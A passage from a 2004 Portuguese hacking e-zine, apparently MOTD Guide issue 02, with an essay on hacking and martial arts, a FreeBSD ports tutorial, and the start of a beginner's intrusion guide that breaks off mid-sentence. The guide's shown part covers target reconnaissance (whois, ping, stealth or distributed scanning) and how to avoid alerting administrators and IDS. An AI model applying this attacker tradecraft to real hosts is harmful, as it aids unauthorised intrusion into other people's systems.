88 88
88d8b.d8b. .d8888b. d8888P .d888b88
88'`88'`88 88' `88 88 88' `88
88 88 88 88. .88 88 88. .88
dP dP dP `88888P' dP `88888P8
oo dP
88
.d8888b. dP dP dP .d888b88 .d8888b.
88' `88 88 88 88 88' `88 88ooood8
88. .88 88. .88 88 88. .88 88. ...
`8888P88 `88888P' dP `88888P8 `88888P'
.88 Número 02
d8888P
E-zine lançada oficialmente dia 18 de Abril de 2004.
http://www.motdlabs.org
contato@motdlabs.org
irc.brasnet.org /join #motd
ATENÇÃO: O MotdLabs adverte que não será responsável por qualquer tolice que
você venha a fazer. Estou certo de que estará consciente que ao tentar por em
prática quaisquer técnicas descritas no decorrer desta zine, você poderá se dar
mal. Ela foi criada apenas para propósitos educacionais e cabe a você decidir o
que fará com esse poder em suas mãos. Só não venha reclamar que se deu mal por
ter feito algo que aprendeu nesta mesma. Obrigado pela a atenção e boa
leitura!!! :)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Colaboradores ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
c4ri0c4....................................................c4ri0c4@motdlabs.org
d4rwin......................................................d4rwin@motdlabs.org
greenhornet............................................greenhornet@motdlabs.org
hallz........................................................hallz@motdlabs.org
Haze..........................................................haze@motdlabs.org
inferninh0..............................................inferninho@motdlabs.org
IP_FIX......................................................ip_fix@motdlabs.org
REPOLHO....................................................repolho@motdlabs.org
SkyNet45..................................................skynet45@motdlabs.org
Stinger....................................................stinger@motdlabs.org
vbKeyDel...................................................vbkeydel@hotmail.com
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[Índice]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[01] Introdução 6,34kb (by IP_FIX)
[02] O Hacking e as Artes Marciais 7,31kb (by greenhornet)
[03] Programas no FreeBSD (Ports e Packages) 11,2kb (by hallz)
[04] Primeiros passos para iniciantes 25,0kb (by inferninh0)
[05] Shellcode Sem Segredos Parte I 73,6kb (by IP_FIX)
[06] Tutorial Básico de Winsock em VB 23,4kb (by vbKeyDel)
[07] Sniffing for Dummies 22,1kb (by hallz)
[08] Introdução ao SSH 10,4kb (by Haze)
[09] Usando o NMAP 5,48kb (by REPOLHO)
[10] ASP Security 13,1kb (by Stinger)
[11] Programação em Pascal 47,4kb (by d4rwin)
[12] TCP/IP 21,3kb (by SkyNet45)
[13] Inutilitários 18,9kb (by MOTDLabs)
[14] Detecção de Firewalls 6,43kb (by c4ri0c4)
--------
291,96kb
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[01]-=[Introdução]-=|IP_FIX|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Welcome Back, Newbies! :)
Estamos devolta com a e-zine MOTD Guide na sua edição 02 que como podem
perceber ela está um pouco diferente da anterior. Mais leve, compacta e
mais fácil de achar os artigos desejado. PHRACK STYLE!!! :D
Muita coisa mudou nesses últimos meses, coisas boas e ruins tem
acontecido para todos nós. O grupo teve tido problemas mas tudo tem
sido superado, muitos vieram para nosso lado e na medida que possível
estamos trabalhando em projetos como construções de ferramentas. A cena
do hacking ético brasileiro vem crescendo espantosamente, impressionante
como muitos tem sido fiel a ela e lutado por ideias não só proprios, mas
como um "todo" também. Qual o resultado de tudo isso? Veja em:
http://www.h2hc.com.br
H2HC - Hackers to Hackers Conference - Será um evento totalmente voltado
para o hacking com a presença de grandes nomes conhecidos e cheio de
palestra técnicas. Será a DefCon brasileira! Não percam! :P
Bom, aproveitem a zine e não deixem de criticá-la na mail-list, qualquer
crítica/sugestão/reclamação/discussão dela será bem aceito. Agora a zine
tem um site próprio (ela está criando vida! :P) para os interessados em
publicar algo. Esta edição foi limitada aos membros privados devido à
problemas que tivemos na edição passada mas nada impedirá que outros
possam publicar suas matérias daqui pra frente. Confira em:
http://guide.motdlabs.org/
Não deixem de conferir a seção de Inutilitários, que possui alguns
programas feitos por alguns membros daqui, essa seção possui tags
especiais (<++> e <-->) para serem extraídas através do extract.c da
PHRACK que acompanha essa edição. Também está incluído o D-Fymder
(http://dfymder.motdlabs.org), que é um scanner distribuído em PHP.
Sóisso galera, aproveitem e não deixem de particpar na mail-list
e principalmente no canal que é nosso forte. Dúvidas gerais mandem um
e-mail para contato@motdlabs.org ou fale pessoalmente no canal #motd.
Boa leitura! :)
Atenciosamente,
IP_FIX.
Nossos parceiros r0x!
Clube dos Mercenários:
http://cdm.frontthescene.com.br
http://br.groups.yahoo.com/group/clube_dos_mercenarios/
irc.brasnet.org /j #mercenaries
Front The Scene:
http://www.frontthescene.com.br
http://br.groups.yahoo.com/group/frontthescene/
irc.brasnet.org /j #fts
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[02]-=[O HACKING E AS ARTES MARCIAIS]-=|greenhornet|=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Este texto eh voltado para comunidade newbie, se voce estiver procurando alguma
tecnica de como invadir,roubar senhas... Nao perca o seu tempo lendo esse texto.
Dediquei mais da metade da minha vida aos estudos das Artes Marciais, em
especifico da chinesa e nos ultimos anos tambem venho me dedicando ao estudo do
Hacking.
E nesses dois caminhos aparentemente sem conexão venho encontrando tantos pontos
em comum que gostaria de compartilhar com a comunidade.
O primeiro ponto em comum e que normalmente as pessoas hoje estão mais
interessadas em produtos "fast-food", ou seja algo que seja rapido, facil, com
minimo de esforco e maximo de resultado. E quem realmente estuda e pratica o
hacking legitimo sabe que assim como nas Artes Marciais o Hacking eh um Caminho
de vida, que nunca tem fim!
Um exemplo simples de voce enxergar isso eh ver as centenas de academias de
defesa pessoal que ensinam o individuo a como se defender de assaltos e etc.
Quando na verdade estão apenas criando um falso senso de segurança no individuo
e que por causa disso o estara espondo mais ao perigo do que se não connhecesse
nada. Assim tambem acontece no Hacking, existem milhares de livros e cursinhos
que dizem:"Seja hacker em 24horas", "Aprenda todas as tecnicas dos
hackers","seguranca maxima"... E todos que compartilham de um minimo de
conhecimento e bom senso sabem que tudo isso não passa de caça niqueis!
As Artes Marciais fazem parte de uma cultura milenar, de um povo que tem uma
historia riquissima. O Termo Kung Fu foi criado a mais de 4000 anos, e no inicio
não era ligado diretamente a pratica da Arte Marcial. Pois KUNG se refere a
trabalho, esforco, dedicação; alias o ideograma Kung representa a figura de um
instrumento agricula, que denota esforco, suor. O termo FU signica "Homem
Maduro", geralmente era associado a marido, homem de muita cultura ou de grande
influencia na sociedade ou um grande artista de grande criatividade.
Portanto Kung Fu era usado para se referir a um homem maduro que alcancou um
alto nivel de compreesão e execução em determinada area. Dentro desse raciocinio
você poderia ter muito Kung Fu para matematica, literatura, culinaria...
O termo Kung Fu só comecou a ser associado a Arte Marcial Chinesa no ocidente na
decada de 50 quando o famoso Bruce Lee chegou a America e apresentou um metodo
de luta completamente inovador; e quando o questionavam sobre o que ele fazia
ele simplesmente dizia "Kung Fu!". E apartir dai no ocidente comecou a se
associar esse nome exclusivamente a Arte Marcial Chinesa. Na China Arte Marcial
eh chamada "Wu Shu", e eh interessante notar que ao longo da historia esse termo
teve diferentes interpretações. WU:Marcial e SHU:Arte, mas diferente da nossa
visão ocidental em que Marcial se refere ao Deus greco-romano Marte. Wu para os
chineses eh representado pela figura de um machado e de um pe parado; que da a
ideia de parar o machado ou deter o machado(A violencia), portanto o objetivo
primordial da Arte Marcial sempre foi Deter o Machado ou seja deter a violencia.
Num primeiro momento esse termo foi usado quando as terras chinesas eram
invadidas por guerreiros de outros povos. Então deter a violencia significava
deter a invasão estrangeira.
Seculos depois quando os monges começaram a empregar o treino de Kung Fu dentro
do Monasterio Shaolin, WuShu passou a ter outra conotação; a de deter a
violencia atraves do autocontrole, ou seja os monges desenvolviam a capacidade
de ferirem um individuo ou ate mesmo mata-lo, mas ao mesmo tempo desenvolviam o
auto-controle (ou seja deterem a "si mesmos"), uma etica para que tivesse um
equilibrio emocional.
Esse mesmo espirito eh encontrado no Hacking em que pessoas desenvolvem uma
serie de qualidades atraves da dedicação intensa ao estudo do Hacking. Pois o
hacking praticado em sua essencia desenvolve no individuo foco(a grande
habilidade do individuo se concentrar em determidado problema e grudar nele
horas, dias muitas vezes ate sem dormir ate encontrar a solução), Criatividade:
Muitos pensam erroneamente que o hacker eh simplesmente uma biblioteca ambulante
que acumulou muito conhecimento, mas o verdadeiro hacking começa apartir do
ponto em que ele aprendeu, indo alem do ponto que aprendeu. A capacidade de
abstração e de se livrar de toda logica.
A importancia da pratica nos dois caminhos eh essencial, o movimento, a ação!
Explicando melhor a Teoria ela deve usada apenas para embasar a sua vivência
pratica e não o contrario. Portanto você não eh considerado um Hacker ou Artista
Marcial legitimo enquanto não desenvolver suas proprias ideias e teses. E como
mencionado anteriormente sobre o controle emocional dos monges guerreiros,
dentro do hacking existe uma etica que deve ser cultivada, ou seja, o invididuo
tem a capacidade de poder fazer algo destrutivo, mas não o faz por ter um
objetivo maior. Esses principios que diferenciam um Artista Marcial de um lutador
ou de um atleta.
Muitas vezes o objetivo do individuo esta em apenas ganhar competições e
conquistar medalhas, enquanto o Artista Marcial esta focado em lapidar cada vez
mais a si mesmo. O mesmo cenario eh encontrado na diferença do hacker pro
cracker, um tem o objetivo de alcancar a excelencia do conhecimento, o outro
esta apenas interessado em roubar, destruir e alcançar lucro. Existe um abismo
de diferenças nesses caminhos e espero que a maioria possa enxergar essas
diferencas.
Um outro aspecto que vale a pena ser mencionado eh sobre a relação homem
-maquina. Os guerreiros antigos, como os grandes samurais por exemplo, tinham
sua espada não como um instrumento, mas como parte dele mesmo, tamanha a
intimidade que ele tinha com sua arma. A espada do samurai era simplesmente a
extensão do seu corpo; ele alcançava um grau tão elevado em que os dois eram um
só! Penso que no hacking devemos almejar nivel semelhante, ou seja, conhecer o
sistema, a maquina profundamente para que você chegue ao nivel de conseguir
executar qualquer coisa que deseje, sem limitações, você e a maquina serem um!
Uma outra caracteristica interessante em ambos caminhos que deve ser cultivada
eh a malicia: Uma vez meu mestre me disse uma frase que nunca esqueci: "O
Artista Marcial pode ser acusado de qualquer coisa, menos de ingenuo!". Com
malicia não quero dizer em fazer algo destrutivo, mas vejo malicia como a
capacidade do individuo enxergar as possibidades boas e ruins de cada situação.
Portanto no Hacking procure saber sempre no que esta se metendo, com quem tem
andado pois as consequencias podem ser desastrosas.
E isso,espero que esse texto esclareça um pouco as pessoas que ainda não tem uma
visão clara sobre esses caminhos, e que enxergam os Artistas Marciais apenas
como lutadores arruaceiros e violentos e os Hackers como marginais virtuais.
Quem quiser discutir ou dar opinião sobre o texto sinta-se a vontade para enviar
um mail.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[02]-=[Programas no FreeBSD (Ports e Packages)]-=|hallz|=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
==[ Introdução ]===============================================================
No FreeBSD, softwares podem ser instalados basicamente de duas formas. Através
de pacotes (packages) ou como portas (ports). Pacotes já estão compilados,
bastando um comando para instalá-lo e poder usar o programa. Já os ports
precisam antes serem compilados. Aqui pretendo demonstrar o uso básico de ambos.
Lembrando que geralmente é necessário ser root para instalar programas. Acesso à
internet também é necessário.
==[ Package X Port ]===========================================================
Vantagens dos pacotes:
--> Pacotes ocupam menos espaço. Ele só ocupa espaço para o programa em si.
--> Pacotes são instalados mais rapidamente. Como já estão na forma binária,
não precisam ser compilados primeiro.
Vantagens dos ports:
--> Você pode ativar algumas características do programa, antes de compilá-lo.
--> A coleção de ports te dá informações sobre os programas que você pode
instalar; o que ele faz, se existe uma versão mais recente e onde ele será
instalado.
--> Alguns programas só estão disponíveis como ports; por precisarem de
informações suas ou por restrições de seus criadores.
--> O sistema de ports gerencia melhor as dependências, inclusive, ele obtém
automaticamente tudo que é necessário para o programa funcionar.
==[ Instalando pacotes ]=======================================================
Pode-se instalar pacotes usando o sysinstall:
$ su
Password:
# /stand/sysinstall
No menu que aparece, selecione "Do a post-install configuration of FreeBSD".
[Enter], depois, "Install pre-packaged software for FreeBSD" [Enter]
Escolha de onde quer instalar o software e divirta-se :-)
Você também pode instalar o software "na mão", com o comando
# pkg_add
E pronto, o programa já pode ser utilizado.
==[ Instalando a coleção de ports ]============================================
Para poder instalar ports, você precisa ter instalado a coleção de ports (ports
collection), que são arquivos que dizem ao FreeBSD como instalar cada programa,
através do código fonte (source code).
Para acessar a coleção de ports, digite:
# cd /usr/ports
Se receber uma mensagem dizendo que o diretório não existe "No such file or
directory" então a coleção não está instalada. Para instalar, logue como root e
rode o sysinstall.
# /stand/sysinstall
Siga a sequência:
1. Acesse "Configure: Do post Install configuration of FreeBSD" [enter]
2. Acesse "Distributions: Install additional distribution sets" [enter]
3. Selecione (c/ a barra de espaço) "ports: The FreeBSD ports collection" [ok]
4. Escolha a mídia de onde quer instalar os ports, ao acabar, selecione
"X Exit Install".
Também pode-se baixar a coleção de ports do site http://www.freebsd.com/ports/ ,
arquivo ports.tgz. Depois do término do download, mova o arquivo ports.tgz para
/usr e descompacte-o com:
/usr# tar xzf ports.tar.gz
Pronto, a coleção de ports já está instalada!
==[ Usando os ports ]==========================================================
Localizar um programa na coleção de ports deveria ser uma tarefa difícil, já que
ela conta com mais de 6.000 programas. No entanto, podemos localizar facilmente
um programa, usando o recurso de busca da coleção. Vamos procurar pelo programa
nmap, um conhecido port scanner.
# cd /usr/ports
# make search name=nmap
Teremos uma lista de ports contendo 'nmap' em seu nome:
Port: nmap-3.00
Path: /usr/ports/security/nmap
Info: Port scanning utility for large networks
Maint: d.marks@student.umist.ac.uk
Index: security
B-deps:
R-deps:
Port: nmapfe-3.00
Path: /usr/ports/security/nmapfe
Info: GUI frontend for the nmap scanning utility
Maint: d.marks@student.umist.ac.uk
Index: security
B-deps: XFree86-libraries-4.3.0_1 expat-1.95.6_1 fontconfig-2.1_6
freetype2-2.1.3_1 gettext-0.11.5_1 glib-1.2.10_8 gtk-1.2.10_9 imake-4.3.0
libiconv-1.8_2 pkgconfig-0.15.0
R-deps: XFree86-libraries-4.3.0_1 expat-1.95.6_1 fontconfig-2.1_6
freetype2-2.1.3_1 gettext-0.11.5_1 glib-1.2.10_8 gtk-1.2.10_9 imake-4.3.0
libiconv-1.8_2 pkgconfig-0.15.0
No resultado da nossa busca podemos ver o nome do port e sua versão, o local
onde ele está localizado (path), uma pequena descrição do propósito de cada
programa, o endereço de contato caso tenha problemas com o port, e o que o port
precisa para ser compilado (B-deps) e o que precisa para ser executado (R-deps).
Vamos "fuçar" um pouco mais o nmap antes de instalá-lo.
# cd /usr/ports/security/nmap
O arquivo pkg-desc contém uma descrição de algumas linhas sobre o programa.
Podemos vê-la com o comando cat.
# cat pkg-descr
nmap is a utility for port scanning large networks, although it works fine for
single hosts. The guiding philosophy for the creation of nmap was TMTOWTDI
(There's More Than One Way To Do It). Sometimes you need speed, other times you
may need stealth. In some cases, bypassing firewalls may be required. Not to
mention the fact that you may want to scan different protocols (UDP, TCP,
ICMP,etc.). You just can't do all this with one scanning mode. Thus nmap
incorporates virtually every scanning technique known of.
WWW: http://www.insecure.org/nmap/index.html
See the webpage and the Phrack Magazine article (Volume 7, Issue 51 September
01, 1997, article 11 of 17) http://www.insecure.org/nmap/p51-11.txt
-- David
obrien@cs.ucdavis.edu
Já o arquivo pkg-plist contém uma lista de arquivos que o port instala, e o
destino de cada um.
#cat pkg-plist
@comment $FreeBSD: ports/security/nmap/pkg-plist,v 1.11 2001/04/15 01:04:33
obrien Exp $
bin/nmap
share/nmap/nmap-os-fingerprints
share/nmap/nmap-protocols
share/nmap/nmap-services
share/nmap/nmap-rpc
@dirrm share/nmap
==[ Instalando um port ]=======================================================
Para instalar um port é necessário estar conectado à internet e estar logado
como root. Vamos instalar o nmap:
# cd /usr/ports/security/nmap
# make install
Você verá o progresso da instalação em sua tela, ao termino do processo, se tudo
ocorreu bem, o programa já pode ser utilizado. :)
Para economizar espaço pode-se remover os arquivos criados durante a instalação,
com o comando make clean
# make clean
===> Cleaning for nmap-3.00
Para economizar mais espaço, podemos remover manualmente os arquivos que foram
baixados. Eles ficam no diretório /usr/ports/distfiles
==[ Obtendo informações sobre programas instalados ]===========================
O FreeBSD mantém em /var/db/pkg um registro de todos os ports e pacotes
instalados no sistema. Neste diretório podemos obter dados sobre os programas,
com o comando pkg_info
# cd /var/db/pkg
# pkg_info -v nmap-3.00/ | more
Serão exibidos dados como a descrição do programa, o diretório de instalação e
os arquivos criados.
Caso não saiba o nome completo do diretório, use TAB. Exemplo:
# pkg_info -v nmap (e pressione TAB) - o FreeBSD vai completar o nome para você.
Esperto, não?
==[ Removendo Ports ou pacotes ]===============================================
Para apagar um programa, tudo que precisamos saber é o nome do pacote (ou port).
# cd /var/db/pkg
# ls -d nmap*
nmap-3.00
# pkg_delete nmap-3.00
Pronto, programa removido :-)
==[ Atualizando a coleção de ports ]===========================================
"O tempo passa, o tempo voa" e a sua coleção de ports um dia ficará
ultrapassada. Para atualizá-la, usamos o cvsup, localizado em /usr/local/bin/
Caso o cvsup não esteja instalado, rode o /stand/sysinstall (Configure->Packages->
"Midia a ser usada"->Net->cvsup)
Antes de poder atualizar a coleção de ports, devemos editar os supfiles, que são
arquivos com instruções que o cvsup usa para atualizar conjuntos de ports. Vamos
criar um supfile que atualize a coleção inteira.
# cd /usr/share/examples/cvsup
# cp ports-supfile bkp_ports-supfile
Agora abra o arquivo ports-supfile e mude a linha:
*default host=CHANGE_THIS.FreeBSD.org
para:
*default host=cvsup.br.FreeBSD.org
(ou outro servidor listado em http://www.freebsd.org/doc/handbook/cvsup.html)
Caso não queira atualizar a coleção inteira, basta comentar (adicionar um # no
começo da linha) a linha ports-all, e "descomentar" as linhas que se referem ao
que você quer atualizar.
Para atualizar a coleção, basta executarmos: (Lembre-se que é necessário estar
conectado à internet.)
# cvsup -g -L2 ports-supfile
O -g serve para desativar a interface gráfica ( no terminal é mais 'leet' :P ),
e o -L2 mostra o andamento da atualização.
Se tudo correr bem, após algum tempo (varia de acordo com a velocidade da sua
conexão) você verá a mensagem "Finished successfully" na tela.
Pronto, a sua coleção de ports está atualizada ;-)
Mas... e se você já tiver uma versão antiga de algum programa instalado? Vamos
atualizá-lo!
# pkg_version -v |grep nmap
nmap-3.00 < needs updating (port has 3.48_1)
Certo, aí vemos que o nosso todo-poderoso nmap precisa de atualização. Então,
mãos à obra!
O comando 'pkg_version -c |grep nmap' nos mostra o comando que deve ser
executado para realizar a atualização, contudo prefiro usar outro caminho;
primeiro compilo a nova versão. Se não ocorrerem erros, apago a versão antiga e
instalo a nova. Usaremos o pkg_version apenas para ver onde se localiza os
arquivos do programa que deve ser atualizado.
# pkg_version -c |grep nmap
# nmap
cd /usr/ports/security/nmap
make clean && make && pkg_delete -f nmap-3.00
# cd /usr/ports/security/nmap
# make all
===> Extracting for nmap-3.48_1
...
(Muitas linhas depois... Muitas mesmo! :P )
Compiling nmap
rm -f nmap
#
Vemos que compilou sem problemas, entao removemos a versão antiga:
# ls -d /var/db/pkg/nmap*
/var/db/pkg/nmap-3.00
# pkg_delete -f /var/db/pkg/nmap-3.00
E instalamos a nova:
# make install
===> Installing for nmap-3.48_1
...
For more information, and contact details about the security status of this
software, see the following webpage: http://www.insecure.org/nmap/
Agora removemos os arquivos gerados durante o processo, que não são mais
necessários:
# make clean
===> Cleaning for libtool-1.4.3_2
===> Cleaning for pcre-4.4
===> Cleaning for nmap-3.48_1
# /usr/local/bin/nmap --version
nmap version 3.48 ( http://www.insecure.org/nmap/ )
Pronto, Nmap atualizado :)
==[ Finalizando ]==============================================================
Vimos aqui que instalar/atualizar/remover programas no FreeBSD não é nenhum
"bicho de sete cabeças", e que suas ferramentas são bastante versáteis. Para mais
informações, consulte as manpages; a melhor forma de aprender é fuçar, sempre ;-)
Links úteis:
http://www.primeirospassos.org/
http://www.freebsd.org/doc/handbook/
http://www.myfreebsd.com.br/
http://www.linuxbsd.com.br/
===[ EOF ]======================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[04]-=[Primeiros passos para iniciantes]-=|inferninh0|=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
------------------------ INDICE -------------------------
1 - Introducao
2 - Colhendo Dados
2.1 - Pesquisando o registro do dominio
2.2 - Usando Ping (Pong?..:P)
2.3 - Scanear ou nao scanear, eis a questao...
2.4 - Analisando Banners
2.5 - Detectando o S.O.
2.6 - Usando Engenharia Social
3 - Partindo para a ofensiva
3.1 - Avaliando as brechas
3.2 - Senhas padroes e Brute force
3.3 - Trojans
3.4 - Servicos mal configurados e/ou vulneraveis
4 - Pos-invasao
4.1 - Garantindo acesso
4.2 - Quem deixa rastro eh lesma...;)
4.3 - Evitando "visitantes" indesejados
4.4 - Cheirando a rede
5 - Finalizando
---------------------------------------------------------
---------------
1 - Introducao |
---------------
Realmente fazia muito tempo que eu nao digitava nenhum texto, devido a falta
de tempo e de disposicao, mais enfim, aqui estou eu novamente... Pretendo
neste texto abordar por alto e de forma generalisada alguns metodos utilizados
para conseguir acesso a uma maquina e como mante-lo, vou procurar evitar ao
maximo fazer desde texto mais uma receita de bolo, isso nao eh um guia
definitivo, na verdade estarei apenas expondo alguns conceitos ja amplamente
divulgados que sabe-se la por que, alguns nao conseguem acesso a tais informacoes
a intencao e aticar a vontade de aprender e de pesquisar do leitor, e que
ninguem mais entre em canais de irc pedindo um programa pra invadir...:~.
No decorrer do texto serao indicados diversos links e sugestoes de leituras
para aprofundamento no assunto, seria prudente ler alguns deles...:)
-------------------
2 - Colhendo dados |
-------------------
Uma boa coleta de dados sobre o host alvo e fundamental, isso e q lhe dara
base para efetuar o ataque, existem diversas formas de se coletar dados, cada
um tem seus proprios metodos, de forma que vou apenas citar alguns ja bem
difundidos e dar exemplos, os eventos nao sao descritos de forma cronologica
entao siga-os na sequencia que achar melhor e nem se prenda somente a esses
metodos, o limite e a sua imaginacao e determinacao.
2.1 - Pesquisando o registro do dominio
***************************************
Sempre que um dominio eh registrado, isso eh armazenado em um banco de dados
online, podendo ser pesquisado por qualquer um que tenha interesse, aqui no
Brasil temos o http://www.registro.br/ mais afinal qual seria a utilidade de
fazer tal consulta?
Pode-se descobrir facilmente o nome do responsavel pelo dominio, ou ao menos
quem registrou, numeros de telefones e enderecos, isso ajuda muito em um
ataque de engenharia social que abordaremos mais tarde. E possivel ainda
encontrar servidores de nome do dominio, data de criacao, e ultima atualizacao no
registro do mesmo, todos esses dados podem ser uteis, use sua imaginacao.
Abaixo um exemplo de pesquisa usando o 'whois' do linux.
inferninho@weapon:~$ whois capivara.org
Domain Name:CAPIVARA.ORG
Created On:04-Nov-2001 23:23:37 UTC
Last Updated On:04-Jan-2004 03:54:12 UTC
Expiration Date:04-Nov-2004 23:23:37 UTC
Registrant Name:Seu Craison
Registrant Organization:Capivara
Registrant Rua dos Bobos n 0
Registrant Cidade de Deus
Registrant State/Province:CP
Registrant Postal Code:10000-000
Registrant Country:BR
Registrant Email:craisson@capivara.org
Admin Name:Massaranduba
Admin Organization:Capivara
Admin Rua: Macho pra cacete n 23,5 por 14
Admin City:Macholandia
Admin State/Province:CP
Admin Postal Code:10000-000
Admin Country:BR
Admin Email:Massaranduba@capivara.org
Name Server:DNS1.NAME-SERVICES.COM
Name Server:DNS2.NAME-SERVICES.COM
Name Server:DNS3.NAME-SERVICES.COM
Name Server:DNS4.NAME-SERVICES.COM
Name Server:DNS5.NAME-SERVICES.COM
Name Server:NS.CAPIVARA.COM.BR
Name Server:NS2.CAPIVARA.COM.BR
2.2 - Usando Ping (Pong?..:P)
*****************************
O ping e o metodo mais simples de detectar quando um IP esta vivo na rede,
ele simplesmente envia pacotes ICMP ECHO REQUEST a um IP caso ele responda
com um ICMP ECHO REPLY temos mais uma maquina viva, qual a utilidade disso?
Bom desta forma vc pode comecar a construir uma lista de maquinas da rede
alvo e determinar qual delas eh melhor vc atacar primeiro, oq? Vc nao
acredita mesmo que todos os ataques sao feitos sempre visando a maquina
principal da rede, logo de cara, acredita?
inferninho@weapon:~$ ping -c 5 localhost
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.074 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.073 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.069 ms
64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.081 ms
64 bytes from localhost (127.0.0.1): icmp_seq=5 ttl=64 time=0.069 ms
--- localhost ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3996ms
rtt min/avg/max/mdev = 0.069/0.073/0.081/0.007 ms
Como podemos ver a maquina 'pingada' (pingado!? isso lembra cafe com leite,
perai que vou fazer um pra mim...:P) esta viva na rede, isso eh evidente ja
que se trata da mesma maquina que digito esse txt agora, pra que diabos eu
pinguei eu mesmo? No decorrer do txt irei mostrar diversos exemplos todos
usando localhost ou maquinas imaginarias como 'alvo' assim evita-se de alguem
tentar fazer oq nao deve na maquina usada como exemplo...;)
Existe a possibilidade do admin bloquear o ping usando um firewall, com
iptables teriamos algo como:
# iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
Essa regra bloqueia apenas o 'pong' assim sua maquina nao ira responder a
nenhuma solicitacao.
inferninho@weapon:~$ ping -c 5 localhost
PING localhost (127.0.0.1) 56(84) bytes of data.
--- localhost ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 4014ms
Note que as estatisticas apresentadas mudaram...;)...a titulo de
aprofundamento no assunto sugiro a leitura do seguinte texto:
Nibble -> Hping2 VS IPtables
http://cdm.frontthescene.com.br/artigos/info.hping2-vs-iptables.txt
Nash Leon -> Ilustrações Básicas de Algumas Técnicas Contra Firewalls
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/
ilustracoes_basicas_de_algumas_tecnicas_contra_firewalls.txt
2.3 - Scanear ou nao scanear, eis a questao...
**********************************************
A grande maioria dos atacantes hoje em dia se utilizam de ferramentas que
procuram por portas abertas e/ou falhas em um host, isso eh muito util e
facilita em muito o trabalho de coleta de dados, mais por outro lado esses
scaner sao extremamente barulhentos, e acabam avisado o admin da rede sobre
sua varredura e dependendo do caso ate o IP real do atacante, se voce nao quiser
causar alarde com relacao a sua investida no host, nao deve de forma nenhuma
utilizar um scanner de rede, obviamente dependendo do host caso vc tenha
certeza que ali nao tenha nenhum sistema de IDS e o admin seja um inutil,
nao ha mal nenhum em se utilizar dos scanners, ueh mais como saber quais
portas e quais vulnerabilidades tem um host sem sequer passar um scanner nele?
Deducao? Eh isso mesmo adivinhao...:P... voce ira deduzir algumas portas
abertas, uma boa forma e visitar a pagina web do host, e procurar pelos
servicos oferecidos pelo mesmo, por exemplo: servidor de hospedagem, necessariamente
tera um daemon de ftp, como vc acha que se envia arquivos para ele? talvez
um daemon de ssh, pop3 e smtp, alem do proprio http, um provedor de acesso a
internet provavelmente tera um servidor de dns, pop3, smtp, http, e assim por
diante, como confirmar se eles tem isso mesmo? Um simples telnet pode dizer
isso e ainda mais, veja na parte 2.4 alguns exemplos, para avaliar as
possiveis brechas nos daemons uma busca em sites ou listas de seguranca
ou hacking ajuda muito.
Se ainda assim vc prefere fazer o scaneamento ao menos utilize ferramentas
que nao lhe entreguem para o admin de bandeja, como exemplo:
-Scanner Distribuido, uma ferramenta desenvolvida em PHP por tDs para
esse conceito pode ser encontrada em:
http://dfymder.motdlabs.org
-LD Scanning, uma ferramenta em perl, construida por DNS-, baseada neste
conceito pode ser obtida em:
http://cdm.frontthescene.com.br/ferramentas/LD-SCANING-POC.tgz
Nao pretendo aprofundar neste texto o tema de scanners de rede, caso queira
buscar mais sobre o assunto sugiro uma leitura nos seguintes textos em portugues.
Jerry Slater -> Port Scanning http://cdm.frontthescene.com.br/artigos/portscan.txt
Jerry Slater -> LD-Scanning http://cdm.frontthescene.com.br/artigos/ldscanning.pdf
Hallucination -> Varreduras http://guide.motdlabs.org/edicoes/guide01/varreduras.txt
REPOLHO -> NMAP pode ser lido nesta mesma e-zine
Tenha sempre em mente que tomar atitudes que sao esperadas por um admin nao
eh muito inteligente, o ideal eh sempre inovar e criar novas formas, seja
